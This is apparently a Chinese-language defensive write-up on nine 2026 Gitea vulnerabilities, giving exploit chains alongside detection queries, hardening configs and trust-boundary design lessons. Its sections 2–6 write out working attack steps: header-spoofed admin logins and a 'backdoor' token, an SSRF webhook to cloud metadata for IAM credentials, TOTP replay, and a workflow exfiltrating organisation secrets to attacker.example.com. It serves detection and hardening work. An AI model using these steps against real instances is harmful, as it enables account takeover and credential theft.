0. 背景与写作视角

2026年某次例行安全发布中,Gitea在同一天集中披露了9个安全漏洞,其中5个为Critical/High级别,CVSS最高9.8。这并非一次"零散bug补丁"——把9个CVE放到同一张信任边界地图上,会发现它们落在5条不同的信任链上,而每一条链上都有一个"边界被静默绕过"的设计模式。

本文不做漏洞公告的翻译,而是回答三个工程问题:

  1. 为什么这5个洞会在同一时间集中爆发?——共因是"默认信任"哲学。
  2. 作为平台方,如何在一周内自证未受影响?——给出可执行的grep规则与日志查询。
  3. 作为防御方,如何避免下一个同类洞?——给出信任边界设计模式层面的复盘。

读者画像:自建Gitea实例的运维;CI/CD平台负责人;关注供应链安全的蓝队。


1. 漏洞全景表

为方便后续分析,先把9个CVE按"信任边界"维度重新组织。注意CVSS仅作优先级参考,真正的风险取决于部署上下文(例如CVE-2026-20896在裸机二进制部署下风险为0,在官方Docker镜像下风险为9.8)。

CVE CVSS 类型 信任边界 一句话
CVE-2026-20896 9.8 认证绕过 网络信任 Docker镜像默认REVERSE_PROXY_TRUSTED_PROXIES=*,一个X-WEBAUTH-USER header冒充任意用户
CVE-2026-58443 9.6 越权 仓库信任 public-only token越权推送私有仓库PR,破坏权限隔离
CVE-2026-58426 9.6 隔离失效 任务隔离 HMAC签名歧义导致跨仓库artifact读写
CVE-2026-22874 9.6 SSRF 网络安全 Go标准库net.IP.IsPrivate()覆盖不全,RFC 6598 CGN地址(100.64.0.0/10)和云元数据(169.254.169.254)可达
CVE-2026-56750 — 会话 会话信任 Remember-Me token被盗后不失效攻击者会话
CVE-2026-20779 7.1 2FA绕过 认证信任 TOTP TOCTOU竞态条件,一个OTP在web登录/密码重置/Basic-Auth三处重复使用
CVE-2026-27775 High 提权 权限信任 push多ref时缓存第一个ref的写权限检查,分支维护者提升为全仓库写权限
GHSA-rjvx-x5h2-6px5 High API绕过 API信任 组织成员通过API fork绕过仓库创建限制,注入Actions工作流窃取组织CI/CD secrets
CVE-2026-24451 High 信息泄露 仓库信任 Fork同步在父仓库变私后继续

5个Critical/High的"信任边界"分布如下(ASCII示意):

                       ┌──────────────────────────────────────────┐
                       │           Gitea Instance                 │
   Internet ──────────▶│                                          │
                       │  ┌─────────────┐   ┌──────────────────┐  │
   [网络信任]           │  │ Reverse Proxy│  │  Webhook/Migrate │  │
   CVE-2026-20896 ────▶│  │  X-WEBAUTH   │  │  SSRF Filter     │  │
   CVE-2026-22874 ────▶│  └──────┬──────┘   └────────┬─────────┘  │
                       │         │                   │            │
                       │  ┌──────▼───────────────────▼─────────┐  │
                       │  │       AuthN / AuthZ Layer          │  │
   [认证/会话信任]      │  │  TOTP(20779)  RememberMe(56750)    │  │
                       │  └──────┬──────────────────────────────┘  │
                       │         │                                 │
                       │  ┌──────▼──────────────────────────────┐  │
   [仓库/权限信任]      │  │  Repo ACL  Push Ref(27775)          │  │
   CVE-2026-58443 ────▶│  │  Fork API(rjvx)  Fork Sync(24451)   │  │
                       │  └──────┬──────────────────────────────┘  │
                       │  ┌──────▼──────────────────────────────┐  │
   [任务隔离信任]       │  │  Actions Runner / Artifact Store    │  │
   CVE-2026-58426 ────▶│  │  HMAC Scope Boundary                │  │
                       │  └─────────────────────────────────────┘  │
                       └──────────────────────────────────────────┘

后续章节按"网络信任 → 网络安全 → 认证信任 → 权限/API信任 → 任务隔离信任"顺序逐个拆解。


2. CVE-2026-20896:一个Header改写身份(9.8 Critical)

2.1 漏洞本质

Gitea支持反向代理认证(REVERSE_PROXY_AUTHENTICATION_USER),其设计假设是:反向代理已对用户完成认证,并在请求头中注入可信的身份声明。Gitea本身只校验"请求来源IP是否在REVERSE_PROXY_TRUSTED_PROXIES列表内",若在列表内,则直接信任X-WEBAUTH-USER header的值作为当前登录用户。

问题出在官方Docker镜像的app.ini模板:

# 官方Docker镜像内 /data/gitea/conf/app.ini 片段(漏洞版本)
[security]
REVERSE_PROXY_AUTHENTICATION_USER = enabled
REVERSE_PROXY_TRUSTED_PROXIES    = *

* 表示信任任何来源IP。文档默认值是127.0.0.0/8,::1/128(仅loopback),但Docker镜像在模板里把它覆盖成*,导致Gitea实例一旦暴露在3000端口(且未走真正的反代),任何人都可用一个header冒充任意用户。

2.2 利用链

利用极其简单,门槛接近0:

# 直接以admin身份登录目标实例(前提:3000端口可达)
curl -H "X-WEBAUTH-USER: admin" http://target:3000/

# 拉取admin可见的全部仓库列表
curl -H "X-WEBAUTH-USER: admin" http://target:3000/api/v1/repos/list

# 创建一个拥有admin scope的token,持久化访问
curl -X POST -H "X-WEBAUTH-USER: admin" \
     -H "Content-Type: application/json" \
     -d '{"name":"backdoor","scopes":["write:admin","read:issue","write:repository"]}' \
     http://target:3000/api/v1/users/admin/tokens

整条链路只有一步:发一个带header的HTTP请求。这把"网络信任"边界从"反代后端"直接推到了"公网任意IP"。

2.3 影响面判断

  • 受影响:使用官方Docker镜像(gitea/gitea)且3000端口可达外部。
  • 不受影响:二进制分发、自建部署,它们使用app.example.ini里的loopback默认值;或在反代后用REVERSE_PROXY_LIMITER严格限制源IP。
  • 修复:PR #38151,从Docker模板中删除这两行配置,回退到app.example.ini的loopback默认。

2.4 为什么这种洞最危险

它直接击穿了DevOps平台的"身份"原语。Gitea后面所有的权限模型——仓库ACL、Actions secret访问、CI凭据下发——都以"当前用户身份可信"为前提。一旦身份可被一个header改写,下游所有信任边界都失效。这就是为什么把它排在第一。


3. CVE-2026-22874:标准库盲区导致SSRF可达云元数据(9.6 Critical)

3.1 漏洞本质

Gitea的webhook触发、仓库迁移(migrate)、Actions runner注册等场景都会主动发起出站HTTP请求。为防止SSRF,Gitea实现了一个IP白名单/黑名单过滤器,过滤逻辑大量复用Go标准库的net.IP.IsPrivate():

// 漏洞版本Gitea的SSRF过滤伪代码
func isBlocked(ip net.IP) bool {
    if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
        return true
    }
    // ... 业务侧补充规则
    return false
}

问题在于,Go 1.17之前(以及部分后续版本的实现细节)net.IP.IsPrivate()只覆盖RFC 1918的三段私有地址:

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

而以下两段"事实私有但标准库未覆盖"的地址未被拦截:

  • RFC 6598 CGN地址:100.64.0.0/10(运营商级NAT,常被云商用作内网Pod网段)
  • Link-local元数据地址:169.254.169.254(AWS/GCE/Azure云元数据服务)

3.2 利用链:从webhook到AWS IAM临时凭据

攻击者只需拥有一个普通账号(甚至只需public仓库的写权限即可创建webhook):

# 1. 在自己控制的仓库里配置一个webhook,URL指向云元数据
#    URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# 2. 触发webhook(push一次即可)
git commit --allow-empty -m "trigger" && git push

# 3. 在webhook delivery历史里查看返回体
#    Gitea会把响应体回显在 "Delivery Details" 页面:
#    {
#      "AccessKeyId": "ASIA...",
#      "SecretAccessKey": "wJalrXUtn...",
#      "Token": "IQoJb3Jp...",
#      "Expiration": "2026-07-27T..."
#    }

拿到的临时凭据可直接用于AWS CLI:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=wJalrXUtn...
export AWS_SESSION_TOKEN=IQoJb3Jp...
aws s3 ls            # 列出该IAM角色可访问的全部S3 bucket
aws sts get-caller-identity

完整的攻击链:

[普通用户] ──push──▶ [Gitea webhook]
                          │
                          │ 发起HTTP请求
                          ▼
                  [SSRF过滤器 IsPrivate()]
                          │
                          │ 169.254.169.254 不在RFC1918 → 放行
                          ▼
                  [AWS IMDSv1 元数据服务]
                          │
                          │ 返回IAM临时凭据
                          ▼
                  [webhook delivery响应体回显]
                          │
                          ▼
                  [攻击者拿到IAM凭据 → 横向到云上资源]

PoC已公开:https://github.com/Eliot-code/CVE-2026-22874-PoC。这意味着该洞的实战利用率非常高,任何跑在AWS/GCE/Azure上的Gitea实例,只要允许普通用户创建webhook或migrate仓库,都应视为已被攻陷。

3.3 修复方向

Gitea侧的修复分两层:

  1. 业务侧补充黑名单:在isBlocked里显式加入100.64.0.0/10、169.254.0.0/16、0.0.0.0/8、IPv6的fc00::/7、fe80::/10等。
  2. 依赖Go 1.18+:Go 1.18起net.IP.IsPrivate()已覆盖RFC 4193(IPv6 ULA)但仍未覆盖RFC 6598——这是Go标准库一个长期未闭合的issue,平台方不能依赖标准库兜底。

更深一层的修复是强制IMDSv2(见第8节)。


4. CVE-2026-20779:TOTP跨surface重放(7.1 High)

4.1 漏洞本质

TOTP(Time-based One-Time Password)的安全模型要求"一个OTP code在一次有效窗口(通常30秒)内只能被使用一次"。Gitea在1.26.3之前实现了"已用code标记"机制,但这个标记是按surface隔离的:

  • Web登录页 /user/login 有一个usedOTP集合
  • 密码重置流程 /user/forgot_password 有另一个usedOTP集合
  • Basic-Auth场景下从X-Gitea-OTP header读取OTP,又有一套独立判断

这导致同一个6位TOTP code在30秒窗口内,可以同时用于三个不同的认证面。结合TOCTOU(Time-of-Check-to-Time-of-Use)竞态——check与mark-used不是原子的——攻击者用并发请求即可在同一秒内复用同一个code。

4.2 利用链

前提:攻击者已通过钓鱼/中间人/键盘嗅探拿到受害者的当前TOTP code(30秒窗口)。

# 攻击者在30秒内并发发起三个请求
# (1) Web登录
curl -c cookies.txt -X POST http://target:3000/user/login \
  -d "user_name=victim&password=<已知密码>&totp=<OTP>"

# (2) 同时发起密码重置确认
curl -X POST http://target:3000/user/recover_account \
  -d "totp=<同一个OTP>"

# (3) 同时用Basic-Auth拉API
curl -u "victim:<已知密码>" \
  -H "X-Gitea-OTP: <同一个OTP>" \
  http://target:3000/api/v1/users/victim/tokens

在三套usedOTP集合合并前,三个请求至少有一个能绕过"单次使用"约束。修复版本(1.26.3)把三套集合合并为全局唯一的usedOTP,并在check-mark之间加锁。

4.3 为什么CVSS只有7.1但实际危害大

CVSS打分考虑了"需要受害者凭据"这一前提,所以分不高。但在真实攻击链里,TOTP通常是最后一道防线——一旦被重放,意味着2FA形同虚设。配合CVE-2026-56750(Remember-Me token被盗后不失效攻击者会话),可形成"窃取凭据 → 绕2FA → 持久化会话"的完整链条。


5. CVE-2026-27775:多ref push的权限缓存陷阱(High)

5.1 漏洞本质

Git协议允许一次push同时更新多个ref,例如:

git push origin feature-a feature-b main refs/tags/v1.0

Gitea在处理multi-ref push时,对每个ref都要做权限检查(该用户对该分支是否有写权限)。漏洞版本的实现把第一个ref的检查结果缓存下来,后续ref直接复用:

// 漏洞版本伪代码(简化)
func (s *PushService) checkAllRefs(ctx context.Context, push *Push) error {
    var cachedCanWrite bool   // ← 缓存变量
    var cachedChecked bool

    for _, ref := range push.Refs {
        if !cachedChecked {
            cachedCanWrite = s.repo.CanWrite(ctx, push.User, ref)
            cachedChecked = true
        }
        // 后续ref直接用 cachedCanWrite,跳过实际权限校验
        if !cachedCanWrite {
            return ErrForbidden
        }
        s.applyRef(ref)
    }
    return nil
}

5.2 利用链:分支维护者 → 全仓库写权限

Gitea支持"branch protection"下的"分支维护者"角色:用户对受保护分支没有直接写权限,但被指定为该分支的maintainer,可以批准/合并PR。漏洞让该用户通过精心构造的multi-ref push,把权限从"某分支maintainer"提升到"全仓库write"。

# 场景:alice是 feature/* 分支的maintainer,对 main 无写权限
# 攻击:把第一个ref设为 alice 有权写的分支,第二个ref设为 main

git checkout -b feature/pwn
echo "backdoor" > backdoor.txt
git add backdoor.txt && git commit -m "pwn"

# 同时push两个ref:第一个通过权限检查并缓存,第二个直接复用缓存结果
git push origin \
    HEAD:refs/heads/feature/pwn \
    HEAD:refs/heads/main          # ← 本应被拒,但复用了缓存→放行

结果:main分支被直接写入,绕过branch protection。如果main触发CD流水线,攻击者下一步即可篡改部署产物。

5.3 修复

把权限检查从"按push缓存"改为"按ref独立校验",并确保check与use在同一事务内,避免TOCTOU。


6. GHSA-rjvx-x5h2-6px5:API fork绕过窃取组织secrets(High)

6.1 漏洞本质

Gitea的"组织仓库创建"在Web UI和API两条路径上权限校验不一致:

  • Web UI:创建仓库前检查CanCreateOrgRepo权限(仅owner/team admin拥有)。
  • API /api/v1/repos/{org}/{repo}/fork:fork端点不检查CanCreateOrgRepo,只检查"源仓库是否可fork"。
// 漏洞版本伪代码
// Web UI路径
func CreateOrgRepo(ctx, org, user) error {
    if !org.CanCreateOrgRepo(user) {
        return ErrForbidden       // ← 普通成员被拦
    }
    return createRepo(ctx, org, user)
}

// API fork路径
func ForkRepo(ctx, srcRepo, dstOwner, user) error {
    if !srcRepo.CanBeForkedBy(user) {
        return ErrForbidden
    }
    // ← 缺少:dstOwner.CanCreateOrgRepo(user) 检查
    return createFork(ctx, srcRepo, dstOwner, user)
}

6.2 利用链:fork → 启用Actions → 注入工作流 → 窃取secrets

组织级CI/CD secrets通常配置在组织层面,组织内所有启用Actions的仓库都可读取。漏洞让任意组织成员都能在组织名下fork出一个自己作为admin的仓库:

# alice是 org-a 的普通成员,没有创建仓库权限
# 但可以通过API fork组织仓库到 org-a 名下
curl -X POST \
  -H "Authorization: token <alice-token>" \
  -H "Content-Type: application/json" \
  -d '{"organization":"org-a"}' \
  http://target:3000/api/v1/repos/org-a/secret-repo/forks

# 新仓库 org-a/secret-repo-fork 中,alice是admin
# 1. 启用Actions
curl -X PATCH -H "Authorization: token <alice-token>" \
     -d '{"has_actions":true}' \
     http://target:3000/api/v1/repos/org-a/secret-repo-fork

# 2. 注入工作流,读取组织级secrets
cat > .gitea/workflows/exfil.yml <<'YAML'
name: exfil
on: [push]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "${{ secrets.ORG_DEPLOY_KEY }}" | curl -X POST \
            -d @- https://attacker.example.com/collect
YAML
git add .gitea/workflows/exfil.yml
git commit -m "ci" && git push

工作流在Gitea Actions runner上执行时,secrets.ORG_DEPLOY_KEY会被注入环境变量,攻击者通过curl把明文外发。

6.3 攻击链全景

[组织普通成员 alice]
        │
        │ API fork(绕过 CanCreateOrgRepo)
        ▼
[org-a/secret-repo-fork  ← alice是admin]
        │
        │ 启用Actions + 注入工作流
        ▼
[Gitea Actions Runner]
        │
        │ 渲染 secrets.ORG_DEPLOY_KEY 到环境变量
        ▼
[工作流step执行 curl 外发]
        │
        ▼
[攻击者收集到组织级CI/CD secrets]
        │
        ▼
[横向到部署环境/镜像仓库/云账号]

这条链的危险在于权限模型在UI与API之间不对称——这是API安全里最经典的反模式。


7. 检测规则:如何在一周内自证未受影响

以下规则按"漏洞 → grep规则 → 日志特征"组织,可直接套用到自建Gitea实例。

7.1 CVE-2026-20896(认证绕过)

配置侧grep(在Gitea容器/二进制所在主机执行):

# 查找所有 app.ini,确认 REVERSE_PROXY_TRUSTED_PROXIES 是否为 *
find / -name "app.ini" 2>/dev/null | xargs grep -nE "REVERSE_PROXY_(TRUSTED_PROXIES|AUTHENTICATION_USER)" 2>/dev/null

# 预期(安全):
#   /data/gitea/conf/app.ini:42: REVERSE_PROXY_TRUSTED_PROXIES = 127.0.0.0/8,::1/128
# 风险:
#   /data/gitea/conf/app.ini:42: REVERSE_PROXY_TRUSTED_PROXIES = *

访问日志特征:被利用时,日志里会出现"无登录态但用户身份非空"的请求。可疑模式:

# Gitea access log(router log)
... "GET / HTTP/1.1" 200 ... "X-WEBAUTH-USER: admin" ...
... "POST /api/v1/users/admin/tokens HTTP/1.1" 201 ... "X-WEBAUTH-USER: admin" ...

排查SQL(以SQLite为例):

-- 找出最近7天通过X-WEBAUTH-USER登录的会话
SELECT user_id, created_unix, ip
FROM session
WHERE created_unix > strftime('%s','now','-7 days')
  AND user_id IN (SELECT id FROM user WHERE is_admin = 1)
ORDER BY created_unix DESC;

7.2 CVE-2026-22874(SSRF)

配置侧grep:检查webhook/migrate是否对普通用户开放:

grep -nE "ALLOWED_HOSTS|SSRF|WEBHOOK" /data/gitea/conf/app.ini

访问日志特征:webhook delivery的目标URL指向元数据或CGN地址。可在webhook表里直接查:

SELECT id, repo_id, url, created_unix
FROM webhook
WHERE url LIKE '%169.254%'        -- link-local 元数据
   OR url LIKE '%100.64.%'         -- RFC 6598 CGN
   OR url LIKE '%metadata.google.internal%'
   OR url LIKE '%metadata.azure.com%'
ORDER BY created_unix DESC;

出站流量特征(在主机netflow里):

# 抓Gitea进程对169.254.169.254的出站连接
tcpdump -nn -i any 'host 169.254.169.254 and tcp port 80' 2>/dev/null

7.3 CVE-2026-20779(TOTP重放)

日志特征:同一用户在同一秒内出现多个不同surface的TOTP验证。Gitea的log表(或外部日志系统)里可查询:

SELECT user_id, created_unix, description
FROM log
WHERE description LIKE '%TOTP%'
  AND created_unix > strftime('%s','now','-7 days')
ORDER BY user_id, created_unix;
-- 异常:同一 user_id 在 < 5秒 内出现 ≥2 条 TOTP 记录

7.4 CVE-2026-27775(多ref push权限缓存)

日志特征:单次push同时更新多个ref,且其中包含受保护分支。可从git hook日志或Gitea的repo审计日志中提取:

# Gitea log中查找 multi-ref push
grep -E "refs/heads/(main|master|release/)" /data/gitea/log/gitea.log | \
  awk -F'refs/' '{print NF-1, $0}' | awk '$1>1{print}'

7.5 GHSA-rjvx-x5h2-6px5(API fork绕过)

审计SQL:

-- 找出组织名下的fork仓库,其创建者不是组织owner
SELECT r.owner_id, r.name, r.is_fork, u.login, u.is_admin
FROM repository r
JOIN user u ON r.owner_id = u.id
WHERE r.is_fork = 1
  AND r.owner_id IN (SELECT id FROM user WHERE type = 1)  -- type=1 组织
ORDER BY r.created_unix DESC;

工作流审计:检查近期是否有仓库在push后立刻执行了含curl/wget外发的workflow:

find / -path "*/.gitea/workflows/*.yml" -newer /tmp/marker 2>/dev/null | \
  xargs grep -lE "curl|wget|http" 2>/dev/null

8. 修复方案:升级 + 配置加固 + 云侧防御

8.1 升级到1.26.4+

# Docker
docker pull gitea/gitea:1.26.4
docker compose down && docker compose up -d

# 二进制
wget https://dl.gitea.com/gitea/1.26.4/gitea-1.26.4-linux-amd64
chmod +x gitea-1.26.4-linux-amd64
mv gitea-1.26.4-linux-amd64 /usr/local/bin/gitea
systemctl restart gitea

升级后务必执行gitea doctor,确认配置一致性。

8.2 收紧REVERSE_PROXY_TRUSTED_PROXIES

即使升级到1.26.4,仍建议在app.ini里显式写死可信反代网段,避免任何后续模板回归:

[security]
REVERSE_PROXY_AUTHENTICATION_USER = enabled
REVERSE_PROXY_TRUSTED_PROXIES    = 127.0.0.0/8,::1/128,10.0.0.0/8
REVERSE_PROXY_LIMITER            = enabled

并在网络层用防火墙把3000端口限定到反代源IP:

# iptables示例:只允许反代(10.0.0.5)访问3000
iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.5 -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

8.3 强制IMDSv2并加网络策略

针对CVE-2026-22874,云侧加固比应用侧更可靠:

AWS EC2:强制IMDSv2,并要求Token hop-limit=1:

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1 \
  --http-endpoint enabled

K8s NetworkPolicy:禁止Gitea Pod访问元数据地址:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: gitea-deny-metadata
  namespace: gitea
spec:
  podSelector:
    matchLabels:
      app: gitea
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32
              - 100.64.0.0/10
              - 10.0.0.0/8      # 视实际内网规划调整

8.4 禁用/收紧Actions fork路径

短期:在组织层面禁用"普通成员fork到组织名下":

[repository]
DISABLE_FORKS_TO_ORG = true   ; Gitea 1.26.4+新增配置项

长期:把组织级secrets改为"按仓库授权"模型,仅对显式信任的仓库下发,避免被fork仓库继承。

8.5 加固矩阵

漏洞 升级1.26.4 配置加固 网络层加固 监控
CVE-2026-20896 必须 写死TRUSTED_PROXIES 限制3000端口源 X-WEBAUTH-USER日志
CVE-2026-22874 必须 收紧webhook白名单 NetworkPolicy + IMDSv2 webhook目标URL审计
CVE-2026-20779 必须 — — TOTP频率监控
CVE-2026-27775 必须 — — multi-ref push告警
GHSA-rjvx-x5h2-6px5 必须 DISABLE_FORKS_TO_ORG — fork到组织审计
CVE-2026-58443 必须 — — token scope审计
CVE-2026-58426 必须 — runner隔离 artifact跨仓读取告警
CVE-2026-56750 必须 缩短Remember-Me TTL — 异地登录告警
CVE-2026-24451 必须 定期review私有化fork — fork sync失败日志

9. 信任边界设计模式分析:5个洞的共因

把5个Critical/High放到一起看,它们不是孤立的bug,而是同一个设计哲学的五个症状。

9.1 共因一:默认信任(Trust by Default)

漏洞 默认信任了什么
CVE-2026-20896 默认信任任何源IP的X-WEBAUTH-USER
CVE-2026-22874 默认信任Go标准库的IsPrivate()覆盖完整
CVE-2026-27775 默认信任"第一个ref的权限=后续ref的权限"
GHSA-rjvx-x5h2-6px5 默认信任"API与UI权限模型一致"
CVE-2026-58426 默认信任HMAC签名scope不会被歧义解析

"默认信任"在工程上能减少配置摩擦,但在安全上等于把开关默认设为"开"。修复方向是Default Deny:所有跨边界声明必须显式配置可信来源,未配置即拒绝。

9.2 共因二:边界对称性缺失

CVE-2026-20779(TOTP三套usedOTP集合)和GHSA-rjvx-x5h2-6px5(UI/API权限不一致)都是同一类问题:同一个语义概念在不同入口有不同的实现。

       语义:用户是否有权创建组织仓库
                    │
        ┌───────────┴───────────┐
        ▼                       ▼
   Web UI检查              API fork端点
   CanCreateOrgRepo        (未检查)
        │                       │
        ▼                       ▼
     拦截普通成员           允许任意成员fork

设计原则应是:权限决策必须收敛到单一函数,所有入口调用同一实现。任何"复制粘贴的权限判断"都是未来漏洞的种子。

9.3 共因三:状态缓存与时间窗口

CVE-2026-27775(权限缓存)和CVE-2026-20779(TOTP TOCTOU)都涉及"检查"与"使用"之间的时间窗口。缓存是性能优化的必需品,但缓存的对象必须是不可变事实(如"该用户是否存在"),而不是可变权限(如"该用户当前是否有写权限")。

   错误模式:                       正确模式:
   ┌─────────────┐                  ┌─────────────┐
   │ check(ref1) │ ──缓存──▶        │ check(ref1) │
   └─────────────┘                  └──────┬──────┘
                                          │ 不缓存
   ┌─────────────┐                         ▼
   │ use(ref2)   │ ◀──复用缓存          ┌─────────────┐
   └─────────────┘                      │ check(ref2) │
                                        └──────┬──────┘
                                               ▼
                                        ┌─────────────┐
                                        │ use(ref2)   │
                                        └─────────────┘

9.4 共因四:依赖外部组件的安全语义

CVE-2026-22874把SSRF防御委托给Go标准库net.IP.IsPrivate(),但标准库的"private"语义与平台安全所需的"不可达"语义并不等价。这是供应链安全里的经典陷阱:

   平台需求:阻止访问任何"非公网"地址
        │
        │ 委托
        ▼
   Go标准库 IsPrivate()
        │
        │ 语义:RFC 1918 + 部分扩展
        │ 缺失:RFC 6598, link-local元数据, 云商自定义
        ▼
   防御盲区

修复原则:外部组件只作参考,安全决策必须由平台自己定义边界。把"私有地址列表"作为平台配置项维护,而不是假设标准库会覆盖所有场景。

9.5 共因五:隔离边界用密码学但scope歧义

CVE-2026-58426(HMAC签名歧义)属于这一类。HMAC本身是可靠的,但HMAC的输入消息如果允许"歧义解析"(例如repo_id:artifact_path没有定长分隔,12:3可被解析为repo=1 path=2:3或repo=12 path=3),就等于把密码学边界降级为字符串边界。修复方法是使用长度前缀或结构化编码(如CBOR/protobuf),杜绝歧义。


10. 给DevOps平台方的三条工程化建议

10.1 建立"信任边界清单"

每个平台组件都应维护一份显式的信任边界清单,例如:

trust_boundaries:
  - name: reverse_proxy
    inbound_trust: [127.0.0.0/8, ::1/128]
    enforced_by: app.ini + iptables
    owner: platform-team
    review_cadence: quarterly

  - name: ssrf_egress
    blocked_cidr: [169.254.0.0/16, 100.64.0.0/10, 0.0.0.0/8]
    enforced_by: gitea filter + NetworkPolicy
    owner: platform-team
    review_cadence: monthly

  - name: artifact_scope
    signed_by: HMAC-SHA256
    encoding: length-prefixed
    enforced_by: actions runner
    owner: ci-team
    review_cadence: on-change

每次发布前对照清单逐项核对。

10.2 引入"权限决策单一来源"

把所有Can(user, action, resource)调用收敛到一个service,强制所有入口(Web、API、git hook、Actions runner)都走这个service。任何新入口必须先在service里注册action,否则编译期失败。

10.3 把advisory映射到信任边界

安全advisory进来时,先做"信任边界归类"而不是"CVSS排序"。同一个信任边界上的多个洞,即使CVSS不高,也应作为一组issue处理,因为它们往往指向同一个设计缺陷。本次Gitea的9个CVE,按信任边界归类后,5条边界各有1-2个洞——这就是"设计缺陷的回声"。


11. 结语

把这5个Critical/High放到一起看,最大的教训不是"哪个header没校验"或"哪个标准库有盲区",而是:DevOps平台是信任的中枢,它的每一个边界都值得被显式建模。

  • 网络信任:谁可以注入身份声明?
  • 网络安全:谁可以触发出站请求?去哪?
  • 认证信任:OTP的"单次有效"在哪个范围内成立?
  • 权限信任:UI和API的权限模型是否同构?
  • 任务隔离信任:密码学边界是否被编码歧义架空?

回答清楚这五个问题,比追着CVSS打补丁更接近本质。Gitea这次的集中披露,对整个DevOps平台生态都是一份免费的架构审计报告——值得每个自建平台的人逐条对照。

升级到1.26.4+,收紧REVERSE_PROXY_TRUSTED_PROXIES,强制IMDSv2,把组织secrets改成按仓库授权。这三件事本周内就能做完,剩下的设计层重构可以排进下个季度的hardening sprint。


本文基于Gitea官方安全公告与公开PoC整理,漏洞利用细节仅用于防御性检测与加固。